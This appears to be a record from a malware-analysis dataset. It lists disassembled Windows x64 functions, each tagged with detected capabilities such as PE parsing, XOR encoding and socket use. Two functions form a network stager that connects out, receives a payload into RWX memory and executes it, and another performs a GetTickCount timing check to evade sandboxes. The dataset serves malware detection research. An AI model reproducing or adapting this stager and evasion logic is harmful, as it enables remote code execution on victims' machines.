joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e6270
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400e62b2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400e62f9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400e6352
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400e6310
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400e6393
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140115052]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140115053]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400e6360
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400e75cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e7616
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e7616
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e7616
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e7616
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e7616
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400e7618
xor al, al
add rsp, 0x28
ret
Function at 0x141337000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x14133700a
jmp 0x14133900f
jmp fcn.140d4b058
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a850]
mov dword [rax], 1
mov rax, qword [0x14000a860]
mov dword [rax], 1
mov rax, qword [0x14000a7e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a830]
mov dword [0x14000d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a910]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a8f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a790]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001584
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x202
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x1400015d9
lea rax, str.ws2_32.dll_is_out_of_date._n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
nop
add rsp, 0x1c0
pop rbp
ret

Function at 0x140001682
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
jmp 0x1400016fe
mov eax, dword [rbp + 0x20]
sub eax, dword [rbp - 4]
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
cdqe
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
add dword [rbp - 4], eax
cmp dword [rbp - 0x14], 0xffffffff
jne 0x1400016fe
mov rax, qword [rbp + 0x10]
lea rdx, str.Could_not_receive_data
mov rcx, rax
call sym.Kick
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x20]
jl 0x1400016ae
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret
Function at 0x14000170f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x140001755
mov rax, qword [rbp - 8]
lea rdx, str.Cannot_initialize_socket
mov rcx, rax
call sym.Kick
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001783
mov rax, qword [rbp - 8]
lea rdx, str.cannot_resolve_target
mov rcx, rax
call sym.Kick
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
mov word [rbp - 0x20], 2
mov eax, dword [rbp + 0x18]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x1e], ax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x1400017f6
mov rax, qword [rbp - 8]
lea rdx, str.Could_not_connect
mov rcx, rax
call sym.Kick
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x1400018de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov r9d, 0x2a
mov r8d, 0x17
mov edx, 0x402
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_PostThreadMessageA]
call rax
lea rax, [rbp - 0x40]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_PeekMessageA]
call rax
test eax, eax
jne 0x140001941
mov eax, 0xffffffff
jmp 0x1400019ad
mov eax, dword [rbp - 0x38]
cmp eax, 0x402
jne 0x14000195f
mov rax, qword [rbp - 0x30]
cmp rax, 0x17
jne 0x14000195f
mov rax, qword [rbp - 0x28]
cmp rax, 0x2a
je 0x140001966
mov eax, 0xffffffff
jmp 0x1400019ad
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x28a
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
sub eax, dword [rbp - 4]
mov eax, eax
imul rax, rax, 0x1b4e81b5
shr rax, 0x20
shr eax, 5
cmp eax, 2
je 0x1400019a8
mov eax, 0xffffffff
jmp 0x1400019ad
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x1400019b3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
call sym.winsock_init
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.wsconnect
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x1c]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 4
jne 0x140001a0a
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x140001a1d
mov rax, qword [rbp - 0x28]
lea rdx, str.bad_length_value_n
mov rcx, rax
call sym.Kick
call sym.genlol
mov eax, dword [rbp - 0x1c]
add eax, 5
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
call sym.genlol
cmp qword [rbp - 0x10], 0
jne 0x140001a6a
mov rax, qword [rbp - 0x28]
lea rdx, str.bad_buffer_n
mov rcx, rax
call sym.Kick
mov rax, qword [rbp - 0x10]
mov byte [rax], 0xbf
call sym.genlol
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 1]
mov eax, dword [rbp - 0x28]
mov dword [rdx], eax
call sym.genlol
mov eax, dword [rbp - 0x1c]
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 5]
mov rax, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call sym.recv_all
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140001abc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
call sym.winsock_init
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.wsconnect
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x1c]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 4
jne 0x140001b13
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x140001b26
mov rax, qword [rbp - 0x28]
lea rdx, str.bad_length_value_n
mov rcx, rax
call sym.Kick
call sym.genlol
mov eax, dword [rbp - 0x1c]
add eax, 0xa
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
call sym.genlol
cmp qword [rbp - 0x10], 0
jne 0x140001b73
mov rax, qword [rbp - 0x28]
lea rdx, str.bad_buffer_n
mov rcx, rax
call sym.Kick
mov rax, qword [rbp - 0x10]
mov byte [rax], 0x48
mov rax, qword [rbp - 0x10]
add rax, 1
mov byte [rax], 0xbf
call sym.genlol
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 2]
mov rax, qword [rbp - 0x28]
mov qword [rdx], rax
call sym.genlol
mov eax, dword [rbp - 0x1c]
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 0xa]
mov rax, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call sym.recv_all
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x140001f50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001fc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0b4]
mov rbx, rcx
test esi, esi
jle 0x1400020f0
mov rax, qword [0x14000d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000200b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002095
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ff0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002112
mov rax, qword [0x14000d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000208e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400020a0
add dword [0x14000d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000208e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002018
mov rax, qword [0x14000d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002680
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x1400026dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400026d3
test rsi, rsi
je 0x1400026d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400026b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400028f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002908
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002910
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002920
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000296d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002964
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000296f
add rax, 0x28
cmp rax, r9
jne 0x140002950
xor eax, eax
ret

Function at 0x140002970
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002a00
mov rdx, qword [0x14000a7e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400029ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400029ee
cmp word [rax + 0x18], 0x20b
jne 0x1400029ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002a00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400029d9
add rbx, 0x28
cmp rbx, rdi
je 0x140002a00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400029d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a7e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a30
add rax, 0x28
cmp rax, r9
jne 0x140002a70
xor eax, eax
ret

Function at 0x140002a90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a7e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002aaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ab8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002aaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002ad0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a7e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002af0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002af8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002af0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002b40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b37
test rcx, rcx
je 0x140002af0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002b28
xor eax, eax
ret

Function at 0x140002b50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a7e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002b90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a7e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002bb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002bb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002bb0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002bb0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002c04
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002c10
add rdx, 0x28
cmp r9, rdx
jne 0x140002bf0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002c20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a7e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002c42
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002c50
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c42
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002c42
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002c42
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002ca5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002cb8
add rdx, 0x28
cmp rdx, r10
jne 0x140002c90
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002cc7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002cd7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002cae
test ecx, ecx
jg 0x140002cc0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140005d60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
lea r14d, [rsi + 0xf]
mov rax, qword gs:[0x58]
mov r15, qword [rax]
mov ebx, reloc.WS2_32.dll_sendto
mov eax, dword [rbx + r15]
mov ebp, reloc.WLDAP32.dll_Ordinal_32
test al, 1
jne 0x140005e0a
or eax, 1
mov dword [rbx + r15], eax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [r15 + rbp + 0x1384], 0xffffffff
mov dword [r15 + rbp + 4], eax
lea ecx, [rsi + 1]
lea r8, [rbp + 8]
add r8, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [r8], edx
inc rcx
lea r8, [r8 + 4]
cmp rcx, 0x270
jb 0x140005de0
mov dword [r15 + rbp], 0x270
mov eax, dword [rbx + r15]
mov r12d, 0x13a8
test al, 2
jne 0x140005e2c
or eax, 2
mov dword [rbx + r15], eax
mov qword [r15 + r12], rsi
mov qword [r15 + r12 + 8], 0x3d
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r14
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
mov rdx, r14
mov rcx, rdi
call fcn.140009680
lea rbx, [r15 + rbp]
lea r13, str.0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
nop dword [rax + rax]
dec r14
mov qword [rsp + 0x28], rbx
mov rbp, qword [r15 + r12]
mov rdx, qword [r15 + r12 + 8]
sub rdx, rbp
cmp rdx, 0xffffffffffffffff
jne 0x140005e97
mov rcx, rbx
call fcn.1400152a0
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.1400152a0
mov eax, eax
or rsi, rax
jmp 0x140005ea7
inc rdx
lea rcx, [rsp + 0x28]
call fcn.140013d70
mov rsi, rax
lea rax, [rsi + rbp]
movzx r9d, byte [rax + r13]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140005edc
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x140005ed1
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140005eeb
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rdi
call fcn.14000d140
test r14, r14
jne 0x140005e60
mov rax, rdi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret